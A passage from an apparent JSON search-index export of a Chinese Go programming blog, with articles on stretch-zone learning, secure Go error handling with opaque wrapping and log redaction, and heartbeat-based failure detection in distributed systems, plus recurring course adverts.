工具写完了。你把它编译成二进制文件扔给测试团队，告诉他们：“以后压测咱们自己的接口，就用我写的这个工具，不需要装乱七八糟的依赖了。”\n这个项目完美地避开了极其枯燥的底层源码（困难区），又跳出了无脑的框架调用（舒适区）。在这个拉伸区里，你被迫真实地操作了 Goroutine、Channel、锁和原子操作，你的雷达图在“并发编程”这个维度上，成功向外扩张了一大圈。\n案例二：向 AI 原生开发者进化的拉伸区 现状诊断（舒适区）：\n你每天都在用 Copilot 或 Claude Code帮你写代码、润色邮件。你买了几十块钱的 API，用 Python 写了一个脚本，把用户的输入传给 API，然后把结果打印出来。你觉得自己“懂 AI 开发了”。\n急于求成（困难区-千万别去）：\n去啃 PyTorch 底层逻辑，买几块 4090 显卡，试图自己微调（Fine-tune）一个千亿参数的大模型，或者试图手搓一个全知全能的超级 AGI。\n精心设计的“拉伸区项目”：开发一个带“工具调用（Function Calling）”的本地私有知识库助手\n从“AI 使用者”到“AI 架构师”的跨越，不在于你能记住多少 Prompt 魔法，而在于你是否懂得如何将 AI 与外部物理世界连接起来。\n步骤 1（思考量）： 大模型是没有记忆的，也没有最新数据。如何让大模型能读取我电脑里今天刚生成的日志文件？\n步骤 2（行动量 – 踏入拉伸区）：\n拉伸点 1：告别单轮对话。 学习使用 LLM 的 API 维护一段连续的记忆上下文（Context Management）。 拉伸点 2：攻克 Function Calling（核心拉伸）。 仔细研读 OpenAI 或 Anthropic 的官方文档，用代码定义一个工具（比如：search_local_file 函数）。这要求你将大模型的自然语言输出，精确地转换为本地函数的结构化参数输入。 拉伸点 3：拥抱最新协议。 如果你有野心，可以去挑战去年爆火的 MCP（Model Context Protocol）协议，编写一个属于你自己的 MCP Server，让流行的 Agent 工具（如 Cursor 或 Claude Desktop）能够安全地访问你的本地数据库。 步骤 3（改变量 – 形成闭环）： 你不再在网页端复制粘贴代码了。你用 Go 或 Python 跑起了一个常驻终端的服务。当你问它“昨天生产环境的报错主要集中在哪里？”时，你的 Agent 自动调用了本地 grep 命令，分析了日志，并给你输出了一份完美的摘要。你的工作效率得到了实质性的改变！\n这个项目没有要求你去懂深奥的神经网络微积分（困难区），但它逼着你掌握了 AI 原生开发中最核心的“Agent 工具编排”能力。在这个拉伸区里，你从一个“提示词念稿人”，正式蜕变为了一名“AI 指挥官”。\n小结：复利曲线与舒适区边缘的完美交响 回过头来看看，那些真正牛逼的顶级技术专家，难道他们天生就拥有超凡的智商吗？\n绝大多数情况下并不是。\n他们的秘密武器，仅仅是日复一日地在“舒适区的边缘”进行着微小但坚实的努力。\n每一次在拉伸区里解决掉一个陌生的 Bug，每一次将一个跑在命令行的脚本优化成一个稳定的后台服务，每一次将你的所学变成真正提高团队效率的工具（改变量），都是在你的技术雷达图上，刻下的一道深深的成长环。\n不要再去囤积那些你永远不会看的几十个 G 的视频教程了。\n关掉网页，打开你的 IDE。找出你日常开发中最让你感到繁琐的一件小事，稍微踮起脚尖，用你刚学的一点点新知识去干掉它。\n去拥抱你的“拉伸区”吧。因为只有在那里，你才能真正体会到作为一名工程师，掌控系统、改变世界的顶级快感。\n今日互动探讨：\n看完这篇文章，你觉得你目前的日常工作有百分之多少是在“舒适区”？如果你要在今年规划一个自己的“拉伸区”硬核项目，你会选择做什么？\n欢迎在评论区分享你的反思与计划！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/22/stop-tactical-diligence-start-stretch-zone-growth/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/stop-tactical-diligence-start-stretch-zone-growth-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/03/22/stop-tactical-diligence-start-stretch-zone-growth\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/03/22/stop-tactical-diligence-start-stretch-zone-growth\"\u003ehttps://tonybai.com/2026/03/22/stop-tactical-diligence-start-stretch-zone-growth\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在这个技术大爆炸的时代，我见过了太多极其“勤奋”的程序员：\u003c/p\u003e\n\u003cp\u003e他们会在各大技术平台上收藏几百篇诸如《\u003ca href=\"http://gk.link/a/12yGY\"\u003eGo语言进阶课\u003c/a\u003e》、《\u003ca href=\"http://gk.link/a/12EPd\"\u003eAI原生开发工作流实战\u003c/a\u003e》… …的专栏文章，硬盘里塞满了从各种渠道搞来的“AI大模型实战课”视频。他们熬夜看教程、做笔记，甚至在通勤的地铁上都在听技术播客或专栏课程。\u003c/p\u003e","title":"看了 100 小时教程，你为什么依然写不好代码？扒开技术人的“成长环”真相"},{"content":"\n本文永久链接 – https://tonybai.com/2026/03/21/best-practices-for-secure-error-handling-in-go\n大家好，我是Tony Bai。\n如果要在 Go 语言里选一句被敲击次数最多的代码，if err != nil { return err } 绝对毫无悬念地霸榜第一。\n初学 Go 时，我们总觉得这种显式的错误处理极其啰嗦。但随着项目的深入，我们开始理解 Go 团队的良苦用心：错误不是被抛出的异常（Exceptions），错误就是普通的值（Values）。你需要像对待普通变量一样，去传递它、包装它、解包它。\n于是，我们成了熟练的“包装工”。当数据库查询失败时，我们习惯性地写下这样的代码：\nreturn fmt.Errorf(“query user failed: %w”, err)\n我们以为这样做极其优雅，既保留了底层的堆栈信息，又方便了外层调用的 Debug。\n但今天，我必须给你浇一盆冷水。\n就在本月初，JetBrains GoLand 的官方博客发布了一篇极其硬核的警告文章：《Best Practices for Secure Error Handling in Go》。这篇文章直指一个让无数微服务架构师冷汗直流的安全盲区：\n你引以为傲的“错误包装（Error Wrapping）”，正在把你们公司的核心底裤——数据库架构、内部路径、甚至是认证 Token，全部赤裸裸地暴露在公网之上！\n今天，我们就来扒开这层遮羞布，看看那些烂大街的 Go 错误处理教程，到底是如何在无形中“出卖”你的。同时，我将带你重塑大厂级别的**“安全错误防线”**。\n你的 Go 错误，是如何变成黑客的“导航图”的？ 在绝大多数其他语言（比如 Java 或 Python）中，异常往往会被全局的异常捕获器（Global Exception Handler）拦截，然后向客户端返回一个统一的 500 错误页面。\n但在 Go 中，因为错误只是普通的接口值（Interface value），它极其容易随着 HTTP 的 return 一层一层“冒泡”到最顶层，最后被直接序列化成 JSON 吐给了前端。\n这就是噩梦的开始。\n想象一个真实的业务场景：你的应用需要根据传入的邮箱去查询用户信息。如果数据库连接池满了，或者执行的 SQL 语法有误。\n传统的做法是直接将错误 return err 抛给 HTTP 处理器。于是，客户端的屏幕上、或者是抓包工具里，赫然出现了这样一串报错：\n{\u0026#34;error\u0026#34;: \u0026#34;failed to get profile: pq: duplicate key value violates unique constraint \u0026#39;users_email_key\u0026#39;\u0026#34;} 看着眼熟吗？这短短的一行报错，给黑客透露了极其致命的情报：\n技术栈裸奔：pq: 明确告诉了黑客，你们后台用的是 PostgreSQL 数据库。 表结构裸奔：users_email_key 暴露了你们数据库里的核心表名和唯一索引名。 注入暗示：如果是因为某些非法字符导致的语法错误，黑客就能根据这段详尽的错误信息，极其精准地调试他们的 SQL 注入 payload。 这绝不是危言耸听。在最新的 Kubernetes 漏洞（CVE-2025-7445）中，攻击者仅仅是通过观察 secrets-store-sync-controller 的错误日志 marshal（序列化）过程，就成功窃取了具有高权限的 Service Account Token！\n你以为你在输出错误，其实你是在给黑客手把手发系统导航图。\n构建“人格分裂”的安全错误对象 既然把错误信息吐给前端这么危险，那我是不是以后不管遇到什么错，都直接返回 {“error”: “Internal Server Error”} 就可以了？\n当然不行。 如果你这么干，你的运维兄弟（SRE）会提着刀来找你。因为他们面对满屏的 Internal Error 日志，根本不知道该如何排查线上故障。\n安全（不泄露机密）和实用（易于 Debug），似乎是一个不可调和的矛盾。\n这就要求我们的 Go 错误必须具备一种**“人格分裂”**的能力：面对内部日志，它要知无不言；面对外部公网，它要守口如瓶。\n大厂的最佳实践，是利用 Go 面向接口编程的特性，在编译层面强制构建一道“安全防火墙”。\n不要再到处 return fmt.Errorf(…) 了，去定义一个你自己的 SafeError 结构体(仅是配合讲解的示意定义)：\npackage secure // SafeError 实现了 error 接口，但在内部做到了机密隔离 type SafeError struct { // 【面对公网】：给客户端看的机器码（如 \u0026#34;RESOURCE_NOT_FOUND\u0026#34;） Code string // 【面对公网】：给用户看的安全提示语 UserMsg string // 【面对内部】：最原始的底层报错（绝对不能通过 API 暴露！） Internal error // 【面对内部】：经过脱敏的上下文数据，用于打结构化日志 Metadata map[string]string } // Error() 方法实现了标准库的 error 接口 // 核心防御：这个方法永远只返回安全的 UserMsg！ // 这样即使被初级程序员直接用 http.Error 输出，也不会泄露内部机密 func (e *SafeError) Error() string { return e.UserMsg } // LogString() 是专门给 SRE 团队内部使用的日志打印方法 func (e *SafeError) LogString() string { return fmt.Sprintf(\u0026#34;Code: %s | Msg: %s | Cause: %v | Meta: %v\u0026#34;, e.Code, e.UserMsg, e.Internal, e.Metadata) } 通过这个极其简单的设计，我们在代码骨架里埋入了一道物理隔离墙。如果团队里有新人不小心写了 http.Error(w, err.Error(), 500)，用户只会看到干瘪的 UserMsg（比如：“无法获取配置文件”），而真正的死因（比如：“连接 redis 10.0.1.5:6379 失败”）则被死死地锁在了 Internal 字段里，只输出到内网的安全日志系统中。\n警惕滥用 fmt.Errorf(“%w”)，学会“不透明包装” 自从 Go 1.13 引入了 %w 动词以及 errors.Is/As 函数后，整个 Go 社区都陷入了一种“疯狂包装错误”的狂欢。现在 Go 1.26 更是加入了更方便、类型安全的 errors.AsType。\n大家都觉得用 %w 把底层错误包起来，外层调用者就可以用 errors.Is() 去追根溯源了。\n但这恰恰是微服务架构中最危险的毒药。\n在 GoLand 的这篇官方指南中，重点提出了一个名为 Opaque Wrapping（不透明包装） 的防御概念。\n想象一下，如果你的“业务层”调用了“数据访问层（DAL）”。数据层报错了，你用 %w 把 SQL 错误包了一下扔给了业务层。\n这看起来没问题，但这意味着你的业务层，甚至更上层的 API 网关层，都可以通过 errors.As() 把你的底层 SQL 错误“扒光”看到！\n这违反了微服务设计中最底层的“信任边界（Trust Boundary）”原则。\n上游服务根本不应该，也没有权利知道下游服务用的是什么数据库、爆了什么错！如果第三方库的错误类型中藏有解析漏洞，上层的恶意调用者甚至可以通过制造特定的错误来触发利用。\n在大厂的微服务架构中，处理跨越边界的错误只有一条铁律：\n在信任边界处，彻底斩断错误调用链（Break the dependency chain）！\nfunc GetUserProfile(id string) (*Profile, error) { user, err := db.QueryUser(id) if err != nil { // ❌ 危险：暴露了原始 DB 错误 // return nil, err // ❌ 危险：虽然包装了，但依然可以通过 Unwrap() 被外层脱下衣服看到底裤 // return nil, fmt.Errorf(\u0026#34;db error: %w\u0026#34;, err) // ✅ 安全：不透明包装 (Opaque Wrapping) // 将底层错误封印在我们自定义的 SafeError 中，对外不暴露 Unwrap() 方法 return nil, \u0026amp;SafeError{ Code: \u0026#34;FETCH_ERROR\u0026#34;, UserMsg: \u0026#34;Unable to retrieve user profile.\u0026#34;, Internal: err, // 原始错误被保留用于打日志，但对调用链彻底隐藏 } } return user, nil } 当你跨越微服务之间的鸿沟（比如从数据库层到业务层，或者从订单服务调用认证服务）时，你必须做一个冷酷的“翻译官”：把具体的 sql.ErrNoRows 翻译成全公司通用的 domain.ErrNotFound。\n绝不让任何一行带有底层技术细节的错误代码，流出它所在的微服务。\n日志脱敏的生死防线 就算你的错误在返回给用户时做了完美的隔离，如果你在打日志时依然大手大脚，那安全防线同样会崩溃。\nGoLand 官方给出了三条极其硬核的日志避坑军规：\n1. 抛弃 fmt.Printf，强制推行结构化日志\n在内网日志里把错误原因和用户输入的 Query 拼成一个大字符串，是非常危险的“日志注入”行为。必须使用 Go 原生的 log/slog 或是 zap。结构化日志会将参数作为独立的数据类型处理，而不是原始字符串，这能天然防范转义字符引发的安全漏洞。\n2. 永不直接打印 Struct\n永远不要在 if err != nil 的块里，随手写下 slog.Error(“login failed”, “request”, req)。因为这个 req 结构体里可能明晃晃地写着用户的密码明文！\n3. 引入脱敏机制\n对于不得不打印的上下文结构体，在你的项目里强制推行 Redact() any 接口：\ntype Redactor interface { Redact() any } type LoginRequest struct { Username string Password string } // 强制接管结构体的序列化输出 func (r LoginRequest) Redact() any { return struct { Username string json:\u0026#34;username\u0026#34; Password string json:\u0026#34;password\u0026#34; }{ Username: r.Username, Password: \u0026#34;***REDACTED***\u0026#34;, // 把底裤遮好 } } // 以后打日志时强制调用： // logger.Info(\u0026#34;login attempt\u0026#34;, \u0026#34;req\u0026#34;, req.Redact()) 小结：别让“偷懒”毁了你的架构 错误处理，一直是区分初级 Go 程序员和高级微服务架构师的一块试金石。\n初级程序员写 if err != nil，只是为了消除 IDE 上的红色波浪线警告；\n而高级架构师在写下 return err 的那一刻，脑海中思考的却是：“这个错误跨越了哪道信任边界？它包含了哪些敏感状态？如果它一路上浮被打印到公网上，会不会成为摧毁整个业务的一颗炸弹？”\n不要用“开发周期的战术性偷懒”，去掩盖“系统安全防御上的战略性溃败”。\n今晚下班前，打开你负责的核心微服务，翻一翻那些连接数据库、调用第三方 API 的错误返回。看看那里面，到底藏了多少没穿衣服的机密代码。是时候，给它们穿上名为“SafeError”的防弹衣了！\n资料链接：https://blog.jetbrains.com/go/2026/03/02/secure-go-error-handling-best-practices/\n今日互动探讨\n在你的开发生涯中，有没有遇到过因为“错误日志泄露敏感信息”而引发的线上事故？或者你在公司的日志系统里，看到过哪些让人惊掉下巴的“密码明文/系统底裤”？ 欢迎在评论区疯狂吐槽与分享！\n读懂底层边界，才能看透高可用架构\n一门语言的哲学，往往藏在它最让人“吐槽”的地方。\n很多人觉得 Go 的错误处理不够优雅，但当你今天从微服务信任边界的角度重新审视它时，你会发现：Go 强制你显式地对待错误，其实是给了架构师一张极其精密的手术刀，让你能精准地切断每一个可能蔓延的故障与安全危机。\n然而，令人遗憾的是，绝大多数 Go 开发者依然停留在“查查文档、调调包、完成 CRUD”的表层。他们对 Go 错误处理背后的安全边界、Goroutine 调度的本质、内存模型的逃逸机制一无所知。\n如果你渴望突破这种“低头干活不看天”的瓶颈，想要像硅谷顶级大厂架构师一样，看透 Go 语言背后的系统级设计思维，建立起坚不可摧的技术护城河——\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》 正是为你量身定制。\n在这 30+ 讲极其硬核的内容中，我不仅带你剥开语法糖，深挖并发模型、Channel 哲学；更会带你全面吃透 Go 的工程化实践，把错误处理、边界防御、微服务构建背后的深层逻辑一次性讲透。\n目标只有一个：助你完成从“Go 熟练工”到“能做顶级架构决策的 Go 专家”的蜕变！\n扫描下方二维码，加入专栏。让我们一起用顶级架构师的视角，重新认识 Go 语言。\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/21/best-practices-for-secure-error-handling-in-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/best-practices-for-secure-error-handling-in-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/03/21/best-practices-for-secure-error-handling-in-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/03/21/best-practices-for-secure-error-handling-in-go\"\u003ehttps://tonybai.com/2026/03/21/best-practices-for-secure-error-handling-in-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e如果要在 Go 语言里选一句被敲击次数最多的代码，if err != nil { return err } 绝对毫无悬念地霸榜第一。\u003c/p\u003e\n\u003cp\u003e初学 Go 时，我们总觉得这种显式的错误处理极其啰嗦。但随着项目的深入，我们开始理解 Go 团队的良苦用心：错误不是被抛出的异常（Exceptions），错误就是普通的值（Values）。你需要像对待普通变量一样，去传递它、包装它、解包它。\u003c/p\u003e","title":"你的 Go 报错信息正在“出卖”你！扒一扒大厂是如何做错误隔离与日志脱敏的"},{"content":"\n本文永久链接 – https://tonybai.com/2026/03/20/heartbeats-in-distributed-systems\n大家好，我是Tony Bai。\n在开发单体应用时，我们很少操心“服务器死没死”的问题——进程挂了就是挂了，整个服务直接 502。但在庞大的分布式系统和微服务架构中，最大的噩梦往往不是服务器彻底宕机，而是**“它悄悄死去了，但整个集群却以为它还活着”。**\n想象一下：你有一个包含上千个节点的集群，每天处理千万级并发。突然，其中一台机器因为内存泄漏或网线松动，陷入了“僵死”状态。它不再处理请求，却依然霸占着负载均衡器的流量分发。\n如果系统不能在几秒钟内发现并踢掉它，大量用户的请求就会像泥牛入海，疯狂超时，最终导致整个系统的可用性雪崩。\n那么，Kubernetes、Cassandra、etcd 这些支撑起现代互联网半壁江山的顶级开源项目，是如何在网络极度不可靠的物理世界中，精准、快速地感知到节点死亡的？\n答案就是分布式系统中最古老、却也最精妙的设计：心跳机制（Heartbeats）。\n今天，我们就来硬核拆解“心跳机制”背后的系统设计哲学。读懂它，你对高可用架构的认知将超越 90% 的普通开发者。\n“我很好，我还活着！”——心跳的底层逻辑 最基础的心跳机制，本质上是节点之间的一份“生死契约”。\n在分布式宇宙中，没有绝对的确定性。节点 A 判断节点 B 是否活着的唯一方式，就是听节点 B 定期发出的“脉搏声”：“我还活着！我还活着！”\n这就是 Push 模型（主动汇报）。\n我们用 Go 语言来写一个最基础的心跳发送者与监听器。相比于其他语言，Go 的 Goroutine 天然适合这种后台定时任务：\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;sync\u0026#34; \u0026#34;time\u0026#34; ) // Heartbeat 消息结构体 type Heartbeat struct { NodeID string Timestamp time.Time Sequence uint64 } // ----------------- 心跳发送端 ----------------- func StartHeartbeatSender(nodeID string, interval time.Duration) { go func() { ticker := time.NewTicker(interval) defer ticker.Stop() var seq uint64 = 0 for range ticker.C { seq++ hb := Heartbeat{ NodeID: nodeID, Timestamp: time.Now(), Sequence: seq, } // 模拟发送心跳网络请求 fmt.Printf(\u0026#34;Node %s 发送心跳: Seq %d\\n\u0026#34;, hb.NodeID, hb.Sequence) } }() } // ----------------- 心跳监控端 ----------------- type Monitor struct { mu sync.RWMutex lastHeartbeats map[string]time.Time timeout time.Duration } func NewMonitor(timeout time.Duration) *Monitor { return \u0026amp;Monitor{ lastHeartbeats: make(map[string]time.Time), timeout: timeout, } } func (m *Monitor) ReceiveHeartbeat(hb Heartbeat) { m.mu.Lock() defer m.mu.Unlock() m.lastHeartbeats[hb.NodeID] = time.Now() // 记录接收到的本地时间 } // 检查某个节点是否死亡 func (m *Monitor) IsNodeDead(nodeID string) bool { m.mu.RLock() defer m.mu.RUnlock() lastSeen, exists := m.lastHeartbeats[nodeID] if !exists { return true } return time.Since(lastSeen) \u0026gt; m.timeout } 除了 Push 模型，还有 Pull 模型（主动拉取）。比如 Kubernetes 中的 Liveness 探针，或者 Prometheus 抓取 Metrics，就是 Monitor 充当医生，定期去敲门问：“你死了没？”\n架构博弈：心跳频率与超时的“死亡权衡” 代码写出来了，但真正的工程难题才刚刚开始：心跳间隔（Interval）和超时阈值（Timeout）到底该设置多少？\n这在系统设计中是一个经典的权衡（Trade-off）：\n发得太快（比如 500ms 一次）：故障发现极快。但在一个 1000 个节点的集群里，中央监控器每秒要处理 2000 个心跳包。这不仅浪费带宽，而且只要网络稍微抖动一下，系统就会“神经质”地疯狂报警。 发得太慢（比如 30s 一次）：网络开销小了，但如果节点挂了，系统要等 30 秒才发现！在这漫长的 30 秒里，无数用户的请求会被路由到一个死节点上，直接面临 P0 级生产事故。 行业里的黄金法则是什么？\n一般情况下，超时时间（Timeout）应该动态参考网络的平均往返时间（RTT，局域网一般是10ms以内），通常设置为 RTT 的 10 倍，或心跳间隔的 3 倍。\n// 计算合理的超时时间 func CalculateTimeout(rtt time.Duration, interval time.Duration) time.Duration { rttBased := rtt * 10 intervalBased := interval * 3 // 取两者中较大的一个，避免由于网络偶尔的抖动导致误判 if rttBased \u0026gt; intervalBased { return rttBased } return intervalBased } 并且，成熟的系统绝不会因为“错过一次心跳”就判死刑，通常会容忍 3-5 次心跳丢失（Missed Heartbeats），才会将节点踢出负载均衡池。\n当普通机制失效，大厂是如何设计故障检测的？ 随着业务规模的爆炸，基础的“固定超时机制”会暴露出严重的缺陷。网络状况是动态变化的，固定超时非黑即白，极易引发“误杀”。\n让我们来看看顶级开源系统是如何进行“降维打击”的。\n神级算法 1：Cassandra 的 Phi (φ) 累积故障检测器 NoSQL 巨头 Cassandra 没有采用简单的“超时就判定死亡”，而是引入了概率学。\n它会统计历史心跳到达的延迟时间，并计算出一个连续的怀疑级别：Phi (φ) 值。\n如果偶尔网络拥堵，心跳晚到了 1 秒，φ 值可能只是轻微上升，系统不会报警。 只有当 φ 值达到阈值（Cassandra 默认是 8，意味着系统有 99.9999% 的把握确信节点死了），才会真正标记节点下线。 这种算法，让集群在恶劣的网络环境下，展现出了惊人的自适应弹性。\n注：Phi (φ) 值算法来自论文《The /spl phi/ accrual failure detector》。\n神级算法 2：去中心化的 Gossip 协议 (流言蜚语) 如果集群有一万个节点，让一个中央 Monitor 去接收所有人的心跳，Monitor 自己就会被高并发压死（单点故障）。\n怎么办？使用 Gossip 协议。\n在 Gossip 中，没有中心的权威老大哥。每个节点只随机挑选几个“邻居”交换心跳列表。就像村口大妈传八卦一样，某个节点挂掉的消息，会呈指数级在整个集群中迅速蔓延开来。\n// 极简版的 Gossip 节点状态合并逻辑 type GossipNode struct { NodeID string HeartbeatCounter uint64 } // 当收到邻居传来的八卦（Gossip）列表时，更新本地视图 func MergeGossipList(local map[string]uint64, received map[string]uint64) { for nodeID, receivedCount := range received { localCount, exists := local[nodeID] // 只保留心跳计数器更大的记录（证明该记录更新） if !exists || receivedCount \u0026gt; localCount { local[nodeID] = receivedCount } } } 终极梦魇：脑裂（Split-brain）与 Quorum 法则 心跳机制有一个终极无解的物理学盲区：网络分区（Network Partition）。\n假设你的数据库集群部署在两个机房。突然，连接两个机房的光缆被挖掘机挖断了。机房 A 和机房 B 互相收不到对方的心跳。\n机房 A 以为机房 B 的机器全死光了，于是推举出了一个新 Leader。 机房 B 也以为机房 A 全挂了，也推举出了一个 Leader。 灾难发生了：一个集群出现了两个“大脑”（脑裂），它们同时接收用户的写请求，数据彻底走向混乱！\n为了对付脑裂，分布式系统引入了 Quorum（法定人数） 机制。它的核心逻辑极其霸道：必须有超过半数（N/2 + 1）的节点存活且互通，集群才允许提供写服务。\n// 基于 Quorum 的防御逻辑 type QuorumMonitor struct { TotalNodes int } func (q *QuorumMonitor) HasQuorum(reachableNodes int) bool { // 必须大于半数 quorumSize := (q.TotalNodes / 2) + 1 return reachableNodes \u0026gt;= quorumSize } func (q *QuorumMonitor) CanAcceptWrites(reachableNodes int) bool { if !q.HasQuorum(reachableNodes) { fmt.Println(\u0026#34;失去法定人数！立刻拒绝所有写请求，防止脑裂！\u0026#34;) return false } return true } 光缆断裂后，必定有一个机房的节点数达不到一半，它会自动“自杀”（拒绝服务），从而完美保全了整个集群数据的一致性。\n小结：那些你每天都在用的心跳机制 至此，你已经领略了心跳机制从简单到深邃的演进。回到现实中，你身边的工具其实都在默默践行着这些哲学：\nKubernetes：Kubelet 默认每 10 秒向 API Server 发送一次心跳，40 秒收不到就被标记为 NotReady。Pod 级别的 Liveness/Readiness 探针，本质上就是典型的 Pull 模型心跳。 etcd：基于 Raft 共识协议，Leader 默认每 100 毫秒向 Follower 发送一次心跳。如果在 1000 毫秒内没收到，Follower 就会直接发起重新选举。 作为开发者，当我们下一次在业务中设计微服务的高可用架构时，请不要简单粗暴地写死一个 time.Sleep 或 if error。多想一想网络延迟、重试容忍度、Gossip 分发以及脑裂的防御。\n因为在高并发的修罗场里，精妙的心跳机制，就是守护你系统不雪崩的最后一道防线。\n参考资料 https://arpitbhayani.me/blogs/phi-accrual https://arpitbhayani.me/blogs/heartbeats-in-distributed-systems https://www.semanticscholar.org/paper/The-spl-phi-accrual-failure-detector-Hayashibara-D%C3%A9fago/11ae4c0c0d0c36dc177c1fff5eb84fa49aa3e1a8 今日互动探讨：\n你在生产环境中遇到过因为“心跳检测机制设置不合理”导致的系统频繁报警或雪崩吗？你是如何调优的？\n欢迎在评论区分享你的血泪史与经验！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/20/heartbeats-in-distributed-systems/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/heartbeats-in-distributed-systems-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca 